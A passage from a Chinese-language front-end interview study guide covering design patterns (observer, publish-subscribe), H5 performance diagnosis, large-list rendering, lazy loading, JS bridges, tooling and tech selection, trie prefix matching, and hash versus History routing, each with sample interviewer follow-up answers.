        this.observers.forEach(o => o.update(this)) // 通知观察者 更新它们的状态
      }
    }
    
    class Observer{ // 观察者 父母和老师
      constructor(name) {
        this.name = name
      }
      update(student) {
        console.log('当前' + this.name + '被通知了', '当前学生的状态是' + student.state)
      }
    }
    
    let student = new Subject('学生'); 
    let parent = new Observer('父母'); 
    let teacher = new Observer('老师'); 
    
    // 被观察者存储观察者的前提,需要先接纳观察者
    student.attach(parent); 
    student.attach(teacher); 
    student.setState('被欺负了');
    
  • 发布订阅模式
    • 发布订阅者模式,一种对象间一对多的依赖关系,当一个对象的状态发生改变时,所依赖它的对象都将得到状态改变的通知。
    • 主要的作用(优点):
      • 广泛应用于异步编程中(替代了传递回调函数)
      • 对象之间松散耦合的编写代码
    • 缺点:
      • 创建订阅者本身要消耗一定的时间和内存
      • 多个发布者和订阅者嵌套一起的时候,程序难以跟踪维护
    • 发布订阅者模式和观察者模式的区别?
      • 发布/订阅模式是观察者模式的一种变形,两者区别在于,发布/订阅模式在观察者模式的基础上,在目标和观察者之间增加一个调度中心。
      • 观察者模式是由具体目标调度,比如当事件触发,Subject 就会去调用观察者的方法,所以观察者模式的订阅者与发布者之间是存在依赖的(互相认识的)。
      • 发布/订阅模式由统一调度中心调用,因此发布者和订阅者不需要知道对方的存在(publisher和subscriber是不认识的,中间有个Event Channel隔起来了)
      • 总结一下:
        • 观察者模式:Subject和Observer直接绑定,没有中间媒介。如addEventListener直接绑定事件
        • 发布订阅模式:publisher和subscriber互相不认识,需要有中间媒介Event Channel。如EventBus自定义事件
    • 实现的思路:
      • 创建一个对象(缓存列表)
      • on方法用来把回调函数fn都加到缓存列表中
      • emit 根据key值去执行对应缓存列表中的函数
      • off方法可以根据key值取消订阅
      class EventEmiter {
        constructor() {
          // 事件对象,存放订阅的名字和事件
          this._events = {}
        }
        // 订阅事件的方法
        on(eventName,callback) {
          if(!this._events) {
            this._events = {}
          }
          // 合并之前订阅的cb
          this._events[eventName] = [...(this._events[eventName] || []),callback]
        }
        // 触发事件的方法
        emit(eventName, ...args) {
          if(!this._events[eventName]) {
            return
          }
          // 遍历执行所有订阅的事件
          this._events[eventName].forEach(fn=>fn(...args))
        }
        off(eventName,cb) {
          if(!this._events[eventName]) {
            return
          }
          // 删除订阅的事件
          this._events[eventName] = this._events[eventName].filter(fn=>fn != cb && fn.l != cb)
        }
        // 绑定一次 触发后将绑定的移除掉 再次触发掉
        once(eventName,callback) {
          const one = (...args)=>{
            // 等callback执行完毕在删除
            callback(args)
            this.off(eventName,one)
          }
          one.l = callback // 自定义属性
          this.on(eventName,one)
        }
      }
      
      // 测试用例
      let event = new EventEmiter()
      
      let login1 = function(...args) {
        console.log('login success1', args)
      }
      let login2 = function(...args) {
        console.log('login success2', args)
      }
      // event.on('login',login1)
      event.once('login',login2)
      event.off('login',login1) // 解除订阅
      event.emit('login', 1,2,3,4,5)
      event.emit('login', 6,7,8,9)
      event.emit('login', 10,11,12)  
      
  • 装饰器模式
    • 原功能不变,增加一些新功能(AOP面向切面编程)
    • ES和TS的Decorator语法就是装饰器模式

经典设计模式有23 个,这是基于后端写的,前端不是都常用

💬 面试官追问

  • 登录成功后要同时刷新头像、购物车和消息数,有人把它称为观察者模式,但三个模块只通过 EventBus 监听 login,这个判断准确吗?

    更准确地说这是发布订阅模式,因为发布者和订阅者互不认识,由 EventBus 负责事件调度。若登录模块直接保存观察者并在状态变化时逐个调用其 update,才更符合观察者模式;事件过多时,发布订阅链路也会变得难以追踪。

  • 页面需要一个全局唯一的登录弹窗,同时业务方可能连续触发三次打开请求,你会怎样用单例模式落地?

    让统一入口创建或取得同一个弹窗实例,并由实例管理显示状态,避免重复生成节点和多份状态。可通过静态 getInstance 或闭包隐藏构造过程;但“唯一实例”不等于自动解决请求覆盖,仍要定义合并、忽略或排队策略。

  • 原先只有一种支付组件,后来按渠道生成不同实例;团队在工厂函数和直接 new 之间产生分歧,你如何选择?

    当创建规则会随渠道变化或调用方不应依赖具体构造器时,用工厂函数封装实例化更合适,调用侧只传渠道和配置。若对象单一且构造过程稳定,直接 new 更直观;过早引入工厂会增加跳转层级,却没有带来有效隔离。

  • 线上 EventEmitter 的 once('login', cb) 连续触发了两次,而且调用 off('login', cb) 也没有移除监听,你会先查哪段实现?

    先检查 once 包装函数是否在回调后调用 off,以及是否通过自定义属性保存原始 cb,供 off 同时匹配包装函数和原函数。还要确认回调参数是否误传成数组;若触发过程允许重入,仅在执行结束后解除订阅仍可能再次进入。

  • 一个表单希望在不改原校验逻辑的情况下增加埋点和耗时统计,有人提议用装饰器,也有人要求直接改原函数,你倾向哪种方案?

    埋点和耗时属于横切能力,使用装饰器包裹原函数更能保持原功能不变,也便于统一启停。若只有单个稳定入口,直接修改可能更容易理解;装饰层叠过多会隐藏真实调用顺序,并提高异常定位成本。

# 如果一个H5很慢,如何排查性能问题

⚡ 30 秒速记

  • 通过前端性能指标分析

我会先用性能指标判断慢在资源加载、页面渲染,还是主线程阻塞,再用 Chrome Performance 和 Lighthouse 定位。 如果 FP 很晚,通常应重点查看 Network 的资源耗时和瀑布图;如果资源很快但 LCP、DCL 或 Load 偏晚,就继续分析渲染过程。交互卡顿可以结合 TTI、TBT,页面跳动则关注 CLS。性能排查不是一次性的,优化后还要持续统计和对比,确认改动确实有效。

  • 通过前端性能指标分析
  • 通过Performance、lighthouse分析
  • 持续跟进,持续优化

前端性能指标

  • FP(First Paint):首次绘制,即首次绘制任何内容到屏幕上
  • FCP(First Content Paint):首次内容绘制,即首次绘制非空白内容到屏幕上
  • FMP(First Meaning Paint):首次有意义绘制,即首次绘制有意义的内容到屏幕上-已弃用,改用LCP
    • FMP业务指标,没有统一标准
  • LCP(Largest Contentful Paint):最大内容绘制,即最大的内容绘制到屏幕上
  • TTI(Time to Interactive):可交互时间,即页面加载完成,可以进行交互的时间
  • TBT(Total Blocking Time):总阻塞时间,即页面加载过程中,主线程被占用的时间
  • CLS(Cumulative Layout Shift):累计布局偏移,即页面加载过程中,元素位置发生变化的程度
  • FCP、LCP、TTI、TBT、CLS都是web-vitals库提供的指标
  • DCL(DOM Content Loaded):DOM加载完成,即页面DOM结构加载完成的时间
  • L(Load):页面完全加载完成的时间

通过Chrome Performance分析

打开浏览器无痕模式,点击Performance > ScreenShot

如果加载很快就会很快就到达FP,在分析FCP、LCP、DCL、L看渲染时间

国内访问GitHub可以看到加载到FP非常慢,但是渲染很快

network > show overview 查看每个资源的加载时间,或者从waterfall查看

使用lighthouse分析

# 通过node使用
npm i lighthouse -g

# 需要稍等一会就分析完毕输出报告
lighthouse https://baidu.com --view --preset=desktop

通过工具就可以识别到问题

  • 加载慢?
    • 优化服务器硬件配置,使用CDN
    • 路由懒加载,大组件异步加载--减少主包体积
    • 优化HTTP缓存策略
  • 渲染慢
    • 优化服务端接口(如Ajax获取数据慢)
    • 继续分析,优化前端组件内部逻辑(参考vue、react优化)
    • 服务端渲染SSR

性能优化是一个循序渐进的过程,不像bug一次解决。持续跟进统计结果,再逐步分析性能瓶颈,持续优化。可使用第三方统计服务,如百度统计

# 后端一次性返回十万条数据,你该如何渲染

⚡ 30 秒速记

  • 后端返回十万条数据,本身技术方案设计就不合理(一般情况都是分页返回,返回十万条浏览器渲染是一个问题,十万条数据加载也需要一个过程)

正常情况下不应该直接把十万条数据全部渲染到 DOM,应优先推动服务端分页返回。 这不仅是渲染问题,数据下载本身也需要时间,而大量节点会让浏览器明显卡顿。如果暂时无法修改服务端,可以增加 Node.js 中间层拆分数据,但接入和维护成本较高。必须在前端展示完整数据时可使用虚拟列表,只渲染可视区并随滚动更新节点,不过实现复杂,在低配手机上的效果也未必理想。

  • 设计不合理
    • 后端返回十万条数据,本身技术方案设计就不合理(一般情况都是分页返回,返回十万条浏览器渲染是一个问题,十万条数据加载也需要一个过程)
    • 后端的问题,要用后端的思维去解决-中间层
  • 浏览器能否处理十万条数据?
    • 渲染到DOM上会非常卡顿
  • 方案1:自定义中间层
    • 自定义nodejs中间层,获取并拆分这十万条数据
    • 前端对接nodejs中间层,而不是服务端
    • 成本比较高
  • 方案2:虚拟列表
    • 只创建可视区的DOM(比如前十条数据),其他区域不显示,根据数据条数计算每条数据的高度,用div撑起高度
    • 随着浏览器的滚动,创建和销毁DOM
    • 虚拟列表实现起来非常复杂,工作中可使用第三方库(vue-virtual-scroll-list、react-virtualiszed)
    • 虚拟列表只是无奈的选择,实现复杂效果而效果不一定好(低配手机)

💬 面试官追问

  • 运营后台要求把十万条订单一次性插入表格,并认为接口已经返回成功就不会有性能问题,你会怎样指出方案中的误区?

    网络请求成功不代表浏览器适合创建十万个 DOM 节点,数据传输和页面渲染都会形成负担。应先推动服务端分页,而不是把后端数据设计问题全部交给视图层;只有确实无法改接口时,才考虑中间层或虚拟列表兜底。

  • 接口暂时不能改,页面只需展示可滚动的十万条定高记录,你会怎样组织虚拟列表的核心结构?

    只渲染可视区附近的记录,并根据总条数和单项高度设置占位容器,滚动时计算当前索引范围,再更新对应 DOM。创建节点数量因此与可视区相关;但滚动更新和节点复用实现复杂,工程中应优先评估成熟虚拟列表库。

  • 虚拟列表上线后,产品把每行从固定高度改成可展开的多行详情,原来的总高度计算不再准确,你会怎么处理?

    固定行高假设已经失效,需要记录实际行高并重新计算偏移,否则会出现跳动、遮挡或滚动位置错误。若需求允许,可把展开详情放到独立区域以保留定高列表;若必须支持动态高度,虚拟化算法和测量成本都会明显上升。

  • 低配手机滚动十万条虚拟列表时仍然掉帧,监控显示接口已完成,但滚动过程中节点频繁变化,你会先排查什么?

    先确认实际渲染节点数是否受控,以及滚动时是否反复创建、销毁超出可视区所需的 DOM。再检查索引和占位高度计算是否导致连续重排;虚拟列表并不保证低配设备体验良好,必要时仍应缩小单次可浏览的数据范围。

  • 后端团队拒绝改分页接口,前端在 Node.js 中间层拆分数据和浏览器虚拟列表之间选型,你会怎么定?

    中间层能把十万条数据拆分后再交给前端,更接近从数据入口控制规模,但需要额外服务、部署和维护成本。虚拟列表无需改变原服务,却仍要下载全部数据且实现复杂;若加载成本也是瓶颈,仅优化 DOM 数量并不充分。

# H5页面如何进行首屏优化

⚡ 30 秒速记

  • 适用于单页面应用

H5 首屏优化的核心是减少首屏必须下载和渲染的内容,并让关键内容优先出现。 单页面应用可以做路由懒加载,列表页先返回第一页,详情页先展示文本并对图片做懒加载;图片要预设尺寸,尽量避免重排。纯 H5 对首屏要求较高时可以考虑 SSR,它的渲染性能更好,但会增加服务器成本。Hybrid 场景还可把 HTML、JS、CSS 预置到 App 内,通过 file:// 加载,再用 Ajax 获取内容,同时配合骨架屏或 loading 改善等待体验。

  • 路由懒加载
    • 适用于单页面应用
    • 路由拆分,优先保证首页加载
  • 服务端渲染SSR
    • SSR渲染页面过程简单,性能好
    • 纯H5页面,SSR是性能优化的终极方案,但对服务器成本也高
  • 分页
    • 针对列表页,默认只展示第一页内容
    • 上划加载更多
  • 图片懒加载lazyLoad
    • 针对详情页,默认只展示文本内容,然后触发图片懒加载
    • 注意:提前设置图片尺寸,尽量只重绘不重排
  • Hybrid
    • 提前将HTML JS CSS下载到App内部,省去我们从网上下载静态资源的时间
    • 在App webview中使用file://协议加载页面文件
    • 再用Ajax获取内容并展示
  • 性能优化要配合分析、统计、评分等,做了事情要有结果有说服力
  • 性能优化也要配合体验,如骨架屏、loading动画等

图片懒加载演示

<head>
  <style>
    .item-container {
      border-top: 1px solid #ccc;
      margin-bottom: 30px;
    }
    .item-container img {
      width: 100%;
      border: 1px solid #eee;
      border-radius: 10px;
      overflow: hidden;
    }
  </style>
</head>
<body>
    <h1>img lazy load</h1>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal2.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal4.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal5.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal6.webp"/>
    </div>

    <script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
    <script>
      function mapImagesAndTryLoad() {
        const images = document.querySelectorAll('img[data-src]')
        if (images.length === 0) return

        images.forEach(img => {
            const rect = img.getBoundingClientRect()
            if (rect.top < window.innerHeight) {
              // 漏出来
              // console.info('loading img', img.dataset.src)
              img.src = img.dataset.src
              img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
            }
        })
      }

      window.addEventListener('scroll', _.throttle(() => {
        mapImagesAndTryLoad()
      }, 100))

      mapImagesAndTryLoad()
    </script>
</body>

💬 面试官追问

  • 新闻详情页首屏很慢,团队只加了骨架屏就宣布优化完成,但图片和脚本加载量没有变化,你认可吗?

    骨架屏主要改善等待时的体验,并没有减少首屏资源下载或渲染工作,不能替代性能优化。应结合图片懒加载、资源拆分或 SSR 等手段处理真实瓶颈,并用分析和统计验证结果;否则只是掩盖等待过程。

  • 一个单页商城的首页只用到少量组件,但构建产物包含全部业务路由,你会怎样调整加载策略?

    按路由拆分代码并启用懒加载,让首页优先下载自身必需资源,其他页面在访问时再加载。拆分粒度要服务于首屏目标;若切得过碎,也会增加资源调度和后续页面等待,需要结合实际统计判断。

  • 图片列表原来都是定宽缩略图,改版后图片比例不固定,仍准备进入视口才赋值 src,你会补哪项约束?

    应提前为图片预留确定尺寸或比例,避免图片加载后改变布局,从而尽量只触发重绘而不是大范围重排。懒加载仍可按视口判断执行;如果无法预知尺寸,就要接受布局跳动风险或由数据接口补充尺寸信息。

  • H5详情页滚动后仍有大量图片不加载,代码通过 scroll 事件和 getBoundingClientRect() 判断可视区,你会如何定位?

    先确认监听函数实际执行、节流没有阻断调用,并检查目标图片是否仍带有 data-src。随后核对可视区判断条件,加载成功后应移除 data-src 以减少后续计算;若页面滚动容器不是 window,监听错误对象也会让逻辑失效。

  • 纯 H5 活动页在 SSR 和 App 内置静态资源的 Hybrid 方案之间争论,你会根据什么取舍?

    面向普通浏览器且重视首屏渲染时,可评估 SSR,它能直接输出页面内容,但会提高服务器和工程成本。若页面主要运行在 App WebView,可提前内置 HTML、JS、CSS,再通过 Ajax 获取内容;代价是依赖 App 发版和资源更新机制。

# 请描述js-bridge的实现原理

⚡ 30 秒速记

  • 什么是JS Bridge

JS Bridge本质上是在网页和原生应用之间约定一套通信格式,让JS能够间接调用native API。 常见做法是注册全局API,或者使用更常见的URL Scheme,由应用拦截自定义协议并完成原生处理。比如网页创建隐藏的iframe,把方法名和参数拼进my-app-name://地址,再通过回调接收结果。封装时还要统一处理成功、失败和节点清理,避免每个业务重复实现通信细节。

什么是JS Bridge

  • JS无法直接调用native API
  • 需要通过一些特定的格式来调用
  • 这些格式就统称js-bridge,例如微信JSSKD

JS Bridge的常见实现方式

  • 注册全局API
  • URL Scheme(推荐)
<!-- <iframe id="iframe1"></iframe> -->

<script>
  // const version = window.getVersion() // 异步

  // const iframe1 = document.getElementById('iframe1')
  // iframe1.onload = () => {
  //     const content = iframe1.contentWindow.document.body.innerHTML
  //     console.info('content', content)
  // }
  // iframe1.src = 'my-app-name://api/getVersion' // app识别协议my-app-name://,在app内处理返回给webview,而不是直接发送网络请求
  // URL scheme

  // 使用iframe 封装 JS-bridge
  const sdk = {
    invoke(url, data = {}, onSuccess, onError) {
      const iframe = document.createElement('iframe')
      iframe.style.visibility = 'hidden' // 隐藏iframe
      document.body.appendChild(iframe)
      iframe.onload = () => {
        const content = iframe1.contentWindow.document.body.innerHTML
        onSuccess(JSON.parse(content))
        iframe.remove()
      }
      iframe.onerror = () => {
        onError()
        iframe.remove()
      }
      iframe.src = `my-app-name://${url}?data=${JSON.stringify(data)}`
    },
    fn1(data, onSuccess, onError) {
      this.invoke('api/fn1', data, onSuccess, onError)
    },
    fn2(data, onSuccess, onError) {
      this.invoke('api/fn2', data, onSuccess, onError)
    },
    fn3(data, onSuccess, onError) {
      this.invoke('api/fn3', data, onSuccess, onError)
    },
  }
</script>

💬 面试官追问

  • H5 在 App 的 WebView 里直接调用 navigator.camera 获取原生相机失败,同事认为补一个浏览器事件监听就行,你会怎么解释?

    普通 JS 不能直接调用 App 的原生能力,增加浏览器事件监听不会自动产生相机接口。需要由 Native 和 H5 约定 JS Bridge 调用格式,例如暴露全局 API 或识别自定义 URL Scheme;能调用哪些能力取决于客户端实现。

  • 你要为 my-app-name://api/fn1 封装一个统一的 H5 SDK,调用方还需要成功和失败回调,核心流程怎么设计?

    invoke 统一接收路径、数据和回调,创建隐藏 iframe,把协议地址赋给 src,由 App 拦截并处理该请求。完成或失败后调用对应回调并移除 iframe;业务方法只负责映射具体 API,避免各页面重复拼接协议。

  • 现有 JS Bridge 只支持回调,新业务希望像异步函数一样连续调用三个 Native API,你会直接改通信协议吗?

    可先在 SDK 层把成功和失败回调包装为 Promise,不必仅为调用写法改变 Native 已支持的协议格式。连续调用可在 H5 层组织异步流程;但底层仍需可靠地区分每次请求及其结果,否则包装语法无法解决回调串线。

  • 线上偶发出现 Native 已执行操作,但 H5 没收到结果,同时页面残留很多隐藏 iframe,你会从哪里排查?

    先检查 iframe 的 load、error 回调是否引用了正确实例,以及所有成功、失败路径是否都会移除节点。还要核对 Native 返回内容是否能被读取并通过 JSON.parse;若协议没有可靠的返回通道或超时处理,H5 不能只依赖页面加载事件判断成功。

  • 客户端团队希望注册大量 window 全局方法,前端团队坚持只保留一个 URL Scheme 入口,你如何权衡?

    全局 API 调用直接,但接口数量增加后容易污染全局空间,并要求客户端持续维护对应注入。统一 URL Scheme 便于通过路径和数据封装 SDK,也是给定场景中的推荐方式;代价是要处理参数序列化、异步返回和协议识别失败。

# 从零搭建开发环境需要考虑什么

⚡ 30 秒速记

  • 代码仓库,发布到哪个npm仓库(如有需要)

从零搭建开发环境,核心是把代码管理、工程规范、质量保障和发布流程一起设计好。 我一般会先确定代码与npm仓库、技术栈和目录规范,再配置构建工具以及eslint、prettier、commit-lint等约束。提交前用pre-commit执行检查,配合单元测试和CI/CD降低有问题代码进入部署流程的概率。还要区分开发、预发布环境并补齐开发文档,否则工具齐全也很难让团队顺畅协作。

  • 代码仓库,发布到哪个npm仓库(如有需要)
  • 技术选型,Vue或React
  • 代码目录规范
  • 打包构建webpack等,做打包优化
  • eslint、prettier、commit-lint
  • pre-commit 提交前检查(在调用git commit 命令时自动执行某些脚本检测代码,若检测出错,则阻止commit代码,也就无法push)
  • 单元测试
  • CI/CD流程(如搭建jenkins部署项目)
  • 开发环境、预发布环境
  • 编写开发文档

💬 面试官追问

  • 新项目已经能用 React 启动,负责人因此认为开发环境搭建结束了,你会指出还缺哪些决定?

    能启动只覆盖技术选型的一小部分,还需明确代码仓库、目录规范、构建方式、环境划分和开发文档。质量侧还要配置 eslint、prettier、提交检查、单元测试及 CI/CD;若要发布包,也应先确定目标 npm 仓库。

  • 十人团队同时开发一个前端仓库,代码格式和提交信息经常冲突,你会把哪些约束放进本地提交流程?

    用 eslint 约束代码质量、prettier 统一格式,并通过 commit-lint 校验提交信息。再配置 pre-commit 在执行 git commit 时自动运行必要检查,失败则阻止提交;检查过重会拖慢日常提交,需要控制执行范围。

  • 项目从单体应用变成需要发布公共组件包,原来的环境只负责部署网页,你会补充哪些建设?

    先确定组件包发布到哪个 npm 仓库,再调整构建产物、目录规范和发布流程,使应用部署与包发布边界清晰。相应的单元测试、版本交付文档和 CI/CD 也要覆盖新产物;仓库权限及发布规则不明确时,不宜先自动化推送。

  • 预发布环境运行正常,生产部署后却加载了错误接口地址,流水线本身显示成功,你会怎样排查环境配置?

    先比对开发、预发布和生产构建时使用的配置来源,确认产物是否在正确阶段注入目标环境参数。再检查 CI/CD 实际部署的分支和构建产物;流水线成功只说明步骤执行完成,无法证明环境隔离和配置选择正确。

  • 团队在自研一套构建脚本和采用成熟构建工具之间有冲突,项目还要求尽快接入测试与部署,你会怎么选?

    优先让成熟构建工具承担打包和优化,把工程精力放在目录规范、质量检查、单元测试与 CI/CD 的完整链路上。只有现有工具无法满足明确约束时才扩展或自研;自研会增加维护成本,也要求开发文档持续覆盖其使用方式。

# 如果你是项目前端技术负责人,将如何做技术选型(常考)

⚡ 30 秒速记

  • 技术选型,选什么?

技术选型不能只看个人偏好,而要根据业务需求、团队积累和长期成本做决定。 框架与语言层面会在Vue、React、Next.js、TypeScript等方案中选择,同时确定构建工具和CI/CD方式。判断依据是社区成熟度、公司已有经验和成员学习成本,因为成熟方案不代表团队能低成本落地。还要评估管理与运维成本,例如使用TypeScript却大量出现any,或引入SSR后增加运维负担。

  • 技术选型,选什么?
    • 前端框架(Vue React Nuxt.hs Next.js 或者nodejs框架)
    • 语言(JavaScript或Typescript)
    • 其他(构建工具、CI/CD等)
  • 技术选型的依据
    • 社区是否足够成熟
    • 公司已经有了经验积累
    • 团队成员的学习成本
    • 要站在公司角度,而非个人角度
  • 要全面考虑各种成本
    • 学习成本
    • 管理成本(如用TS遍地都是any怎么办)
    • 运维成本(如用ssr技术)

💬 面试官追问

  • 新项目评审会上,有人说“React生态更火,所以一定比团队熟悉的Vue更合适”,你会怎么反驳?

    流行度只能说明社区成熟度的一部分,不能直接推出项目收益更高。应结合现有技术积累、成员熟练度、招聘与学习成本评估;若新框架没有解决明确痛点,迁移只会增加交付和维护风险。

  • 你负责一个半年内必须上线的业务平台,需要在JavaScript与TypeScript之间选型,会怎样把决定落到工程规则里?

    先评估团队经验、代码规模和长期维护要求,再确定采用范围与迁移节奏。若使用TypeScript,还要配置检查规则、代码评审和类型边界,防止大量any让类型系统名存实亡;这些治理本身也有成本。

  • 原本选定客户端渲染,后来业务要求搜索引擎收录并改善首屏体验,你会直接切到Next.js或Nuxt吗?

    不会只因新增目标就整体重构,而会先确认哪些页面确实需要服务端渲染。采用SSR还会引入部署、缓存、故障定位和运维成本,可按页面渐进引入;若收益覆盖不了复杂度,应保留更简单的客户端方案。

  • 上线后SSR页面偶发超时,而客户端页面正常,作为技术负责人你会先排查选型还是实现?

    先沿服务端渲染链路检查数据请求、缓存命中、渲染耗时和运行环境,而不是立即否定选型。若问题能由缓存或请求收敛解决,应修正实现;若团队长期无法承担服务端运维,再重新评估架构边界。

  • 团队在Vite与已有构建体系之间争论:新工具开发体验更好,但公司已有完整CI/CD资产,你怎么拍板?

    应把开发效率与迁移、流水线适配、监控和长期维护成本放在同一张评估表里。可先用低风险模块验证兼容性,再根据结果决策;不能为了个人偏好抛弃可复用的公司积累,也不应因沉没成本拒绝明确收益。

# 高效的字符串前缀匹配如何做

⚡ 30 秒速记

  • 有一个英文单词库(数组),里面有几十个英文单词

高效的前缀匹配可以把单词库预先构造成按字符分层的树,再沿输入字符串逐层查询。 直接遍历数组并用indexOf判断,复杂度至少从O(n)起步,而且每次字符串匹配本身也有成本。英文首层最多按26个字母拆分,后续字符继续拆分,并通过对象的key快速找到下一层。这样单次哈希查询可视为O(1),完整匹配约为O(m),代价是单词库变化后需要重新维护这棵树。

  • 有一个英文单词库(数组),里面有几十个英文单词
  • 输入一个字符串,快速判断是不是某一个单词的前缀
  • 说明思路,不用写代码

思路分析

  • 常规思路
    • 遍历单词库数组
    • indexOf判断前缀
    • 实际复杂度超过了O(n),因为每一步遍历要考虑indexOf的计算量
  • 优化
    • 英文字母一共26个,可以提前把单词库数组拆分为26个
    • 第一层拆分为26个,第二第三层也可以继续拆分
    • 最后把单词库拆分为一颗树
    • 如array拆分为{a:{r:{r:{a:{y:{}}}}}} 查询的时候这样查obj.a.r.r.a.y 时间复杂度就是O(1)
    • 转为为树的过程我们不用管,单词库更新频率一般都是很低的,我们执行一次提前转换好,通过哈希表(对象)查询key非常快
  • 性能分析
    • 如遍历数组,时间复杂度至少O(n)起步(n是数组长度)
    • 改为树,时间复杂度从大于O(n)降低到O(m)(m是单词的长度)
    • 哈希表(对象)通过key查询,时间复杂度是O(1)

💬 面试官追问

  • 单词库只有几十项,有人坚持必须上前缀树,否则就不够高效,你会接受这个结论吗?

    不会直接接受,几十个单词顺序遍历通常更简单,前缀树的构建和维护也有成本。数组方案的查询至少随词库规模增长,且每次还要比较字符;只有查询频繁或词库扩大时,预处理才更有价值。

  • 搜索框每次输入都要判断当前字符串是否为词库中某个单词的前缀,你会怎样组织前缀树的查询?

    把单词按字符逐层存入树中,输入时也按字符逐层查找;只要路径完整存在,就说明它是某个单词的前缀。查询成本主要随输入长度m增长,单层键查找通常近似O(1),代价是额外内存。

  • 词库从几十个英文单词变成数十万条中英文混合词,并且每天多次更新,原来的26叉拆分还能照搬吗?

    不能照搬固定26个分支,因为字符集和更新频率都变了。仍可使用按字符键控的树,但要重新评估内存、增量更新和持久化方式;预构建优势会被频繁更新削弱,必要时应考虑服务端索引。

  • 线上输入array能命中,输入Array和带空格的arr却失败,而产品认为都应匹配,你先查哪里?

    先确认输入与词库是否使用相同的大小写、空白和字符规范化规则,再检查建树与查询是否逐字符采用同一处理流程。规范化必须在两端一致;若产品要求保留大小写语义,就不能擅自统一转换。

  • 同事提出把所有可能前缀都放进Set,另一位坚持用前缀树;词库读取多、更新少时你怎么选?

    两者都能把单次完整前缀判断变成快速查找,但空间模型不同。Set实现简单,却会重复保存大量前缀;前缀树共享公共路径,更适合相似词较多的词库,但结构和序列化更复杂。

# 前端路由原理

⚡ 30 秒速记

  • hash变化会触发网页跳转,即浏览器的前进和后退

前端路由本质上是监听地址变化,在不刷新页面的情况下切换对应内容,常见方案是 hash 和 H5 History。 hash 通过 onhashchange 监听,支持前进和后退,而且片段不会提交到服务端,实现简单。H5 History 使用 pushState 和 onpopstate,地址更规范,但刷新子路由时可能出现 404。因此服务端要把未知路径重定向到 index.html,例如在 Nginx 中配置 try_files;对地址规范不敏感的系统则可优先考虑 hash。

hash的特点

  • hash变化会触发网页跳转,即浏览器的前进和后退
  • hash变化不会刷新页面,SPA必须的特点
  • hash永远不会提交到server端
  • 通过onhashchange监听

H5 History

  • 用url规范的路由,但跳转时不刷新页面
  • 通过history.pushState和history.onpopstate监听
  • H5 History需要后端支持
    • 当我们进入到子路由时刷新页面,web容器没有相对应的页面此时会出现404
    • 所以我们只需要配置将任意页面都重定向到 index.html,把路由交由前端处理
    • 对nginx配置文件.conf修改,添加try_files $uri $uri/ /index.html;
    server {
      listen  80;
      server_name  www.xxx.com;
    
      location / {
        index  /data/dist/index.html;
        try_files $uri $uri/ /index.html;
      }
    }
    

两者选择

  • to B系统推荐使用hash,简单易用,对url规范不敏感
  • to C系统,可以考虑使用H5 History,但需要服务端支持
  • 能选择简单的,就别用复杂的,要考虑成本和收益
// hash 变化,包括:
// a. JS 修改 url
// b. 手动修改 url 的 hash
// c. 浏览器前进、后退
window.onhashchange = (event) => {
    console.log('old url', event.oldURL)
    console.log('new url', event.newURL)

    console.log('hash:', location.hash)
}

// 页面初次加载,获取 hash
document.addEventListener('DOMContentLoaded', () => {
    console.log('hash:', location.hash)
})

// JS 修改 url
document.getElementById('btn1').addEventListener('click', () => {
    location.href = '#/user'
})
// history API

// 页面初次加载,获取 path
document.addEventListener('DOMContentLoaded', () => {
    console.log('load', location.pathname)
})

// 打开一个新的路由
// 【注意】用 pushState 方式,浏览器不会刷新页面
document.getElementById('btn1').addEventListener('click', () => {
    const state = { name: 'page1' }
    console.log('切换路由到', 'page1')
    history.pushState(state, '', 'page1') // 重要!!
})

// 监听浏览器前进、后退
window.onpopstate = (event) => { // 重要!!
    console.log('onpopstate', event.state, location.pathname)
}

// 需要 server 端配合,可参考
// https://router.vuejs.org/zh/guide/essentials/history-mode.html#%E5%90%8E%E7%AB%AF%E9%85%8D%E7%BD%AE%E4%BE%8B%E5%AD%90

💬 面试官追问

  • 单页后台使用hash路由,同事说切换#/user会像普通链接一样向服务器请求新页面,你怎么判断?

    这个判断不成立,hash变化不会把片段提交给服务器,也不会因此刷新页面。前端通过hashchange感知切换,并在首次加载时读取location.hash;代价是地址形式不如标准路径自然。

  • 商品详情页用history.pushState切换正常,但浏览器后退时视图不更新,你会检查哪段代码?

    先检查是否监听了popstate,并确认监听器根据location.pathname或event.state重新匹配和渲染路由。pushState本身不会刷新页面,也不会替你完成视图更新;首次加载还需单独执行一次路由解析。

  • 面向消费者的网站要求地址使用/product/42,但运维拒绝修改Nginx,你还会坚持H5 History吗?

    不应在缺少服务端支持时强行采用,因为用户直接打开或刷新子路径可能得到404。可推动配置try_files $uri $uri/ /index.html;,若无法落实,则应选择hash或调整部署方案,并明确地址规范上的取舍。

  • pushState模式上线后,站内点击都正常,只有刷新/orders/123时出现404,故障点更可能在哪里?

    故障更可能在服务器回退配置,而不是前端点击逻辑。应检查静态服务器是否先查真实资源,再把无法匹配的前端路由交给index.html;回退范围配置过宽也可能吞掉本该返回404的资源请求。

  • 内部运营后台与公开官网同时立项,前者优先低成本,后者重视规范路径,你会统一路由模式吗?

    没有必要机械统一。内部后台可优先使用简单、无需服务端回退的hash;公开官网可考虑H5 History,但必须把服务器配置和发布验证纳入交付范围,最终取舍取决于收益是否覆盖协作成本。

# 首屏渲染优化

⚡ 30 秒速记

  • css / js 分割,使首屏依赖的文件体积最小,内联首屏关键 css / js

